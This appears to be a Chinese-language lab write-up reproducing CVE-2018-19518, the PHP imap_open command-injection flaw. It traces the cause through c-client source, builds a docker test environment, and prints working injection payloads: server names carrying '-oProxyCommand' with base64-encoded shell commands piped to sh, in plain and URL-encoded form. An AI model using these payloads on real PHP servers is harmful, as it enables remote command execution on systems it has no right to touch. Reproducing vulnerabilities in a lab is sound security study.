CVE-2018-19518 PHP imap_open函數任意命令執行漏洞復現
環境
靶機:ubuntu18.04,騰訊雲服務器,IP地址為49.235.204.174
docker中部署環境。
Firefox以及插件hackerbar
背景介紹
PHP的imap_open函數中的漏洞可能允許經過身份驗證的遠程攻擊者在目標系統上執行任意命令。該漏洞的存在是因為受影響的軟件的imap_open函數在將郵箱名稱傳遞給rsh或ssh命令之前沒有正確地過濾郵箱名稱。
如果啟用了rsh和ssh功能並且rsh命令是ssh命令的符號鏈接,則攻擊者可以通過向目標系統發送包含-oProxyCommand參數的惡意IMAP服務器名稱來利用此漏洞。
成功的攻擊可能允許攻擊者繞過其他禁用的exec 受影響軟件中的功能,攻擊者可利用這些功能在目標系統上執行任意shell命令。
此外要求攻擊者具有對目標系統的用戶級訪問權限。利用時沒有很明顯的回顯效果。
漏洞成因
PHP中調用imap_open可能如下:
resource imap_open ( string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = NULL ]]] )
參數mailbox是用來定義連接服務器的。
tcp_open的工作原理和功能在tcp_unix.c中定義,可以參考:
cat src/osdep/unix/tcp_unix.c
其中,對於ssh和rsh的路徑是這樣定義的:
#ifdef SSHPATH / ssh path defined yet? /
if (!sshpath) sshpath = cpystr (SSHPATH);
#endif
#ifdef RSHPATH / rsh path defined yet? /
if (!rshpath) rshpath = cpystr (RSHPATH);
#endif
也就是說沒有SSHPATH的話就會嘗試讀取RSHPATH。
對於幫助找到SSHPATH定義發生的位置的代碼請參閱:
/imap-2007f/src/osdep/unix/env_unix.h
/imap-2007f/src/osdep/unix/env_unix.c
默認情況是空的且無法控制,因為對/etc目錄沒有寫入權限。
接下來跳轉到RSHPATH。它在Makefile中。Makefile的路徑在/usr/bin/rsh中。總來看RSHPATH的值都是/usr/bin/rsh
tcp_aopen()下
#endif
if (service == '') { /* want ssh? */
/* return immediately if ssh disabled */
if (!(sshpath && (ti = sshtimeout))) return NIL;
/* ssh command prototype defined yet? */
if (!sshcommand) sshcommand = cpystr ("%s %s -l %s exec /usr/sbin/r%sd");
}
/* want rsh? */
else if (rshpath && (ti = rshtimeout)) {
/* rsh command prototype defined yet? */
if (!rshcommand) rshcommand = cpystr ("%s %s -l %s exec /usr/sbin/r%sd");
}
else return NIL; /* rsh disabled */
/* look like domain literal? */
上述代碼會生成一個指令,用於在遠程服務器上執行rimapd二進制文件。
如果要查看回顯,則要使用strace工具。詳情不表。
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
這個是有誤的servername。其中x是執行命令的參數之一。
我們ssh的一個ProxyCommand,連接服務器的這樣的一個命令具體說明如下
ProxyCommand 指定用於連接服務器的命令。命令字符串擴展到行的末尾,並使用用戶的shell' exec'指令執行,以避免延遲的shell進程。 ProxyCommand接受TOKENS 部分中描述的令牌的參數。該命令基本上可以是任何東西,並且應該從其標准輸入讀取並寫入其標准輸出。它應該最終連接在某台機器上運行的sshd服務器,或者在sshd -i某處執行。主機密鑰管理將使用所連接主機的HostName完成(默認為用戶鍵入的名稱)。設置命令以none完全禁用此選項。請注意, CheckHostIP無法與代理命令連接。 該指令與nc及其代理支持結合使用非常有用。例如,以下指令將通過192.0.2.0的HTTP代理連接: ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
比如說使用這個命令
ssh -oProxyCommand =“echo hello | tee / tmp / executed”localhost
就會有命令回顯:
root@kali:/tmp# ssh -oProxyCommand="echo hello|tee /tmp/executed" localhost
ssh_exchange_identification: Connection closed by remote host
root@kali:/tmp# cat /tmp/executed
hello
root@kali:/tmp#
解析時還會有問題。要繞過斜杠和空格的轉義。用$IFS和\t或者base64編碼和相關命令再解碼。如下
echo "echo hello|tee /tmp/executed"|base64
ehco ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo=|base64 -d|bash
利用完成,文件創建成功。這些命令不是由PHP本身執行,而是由外部庫執行.
復現與利用過程
安裝環境
環境搭建利用docker來搭建。github上有人做過相關的工作。我們在了解原理之后,直接利用即可。
https://github.com/ensimag-security/CVE-2018-19518
git clone下來后,用
docker-compose up -d
運行docker即可。
看一下dockerfile文件的內容。
FROM php:5.6.38-apache
RUN apt-get update \
&& apt-get install -y libc-client-dev libkrb5-dev ssh-client \
&& docker-php-ext-configure imap --with-kerberos --with-imap-ssl \
&& docker-php-ext-install imap
EXPOSE 80
用的是php5.6,然后安裝了一些ssh和imap的相關內容。
利用
運行起來后訪問網頁,效果如下。
試圖使用這樣的命令:echo '1234567890'>/tmp/test0001
hostname中這樣填寫:
x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}
這是一段經過url編碼的內容。其中 ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d
是base64編碼的結果。在設計漏洞時需要先base64編碼,再url編碼。(注意不能失去大小寫)
之后docker-compose exec app bash
進入docker的bash然后查看文件 cat /tmp/test0001
,發現已經創建了文件。
滲透等級
本漏洞利用是實現了任意命令執行。命令執行不是由PHP,而是由系統庫來執行(si_uid=0),相對比較危險。
這是網上找的一個圖片。我這里strace運行不起來。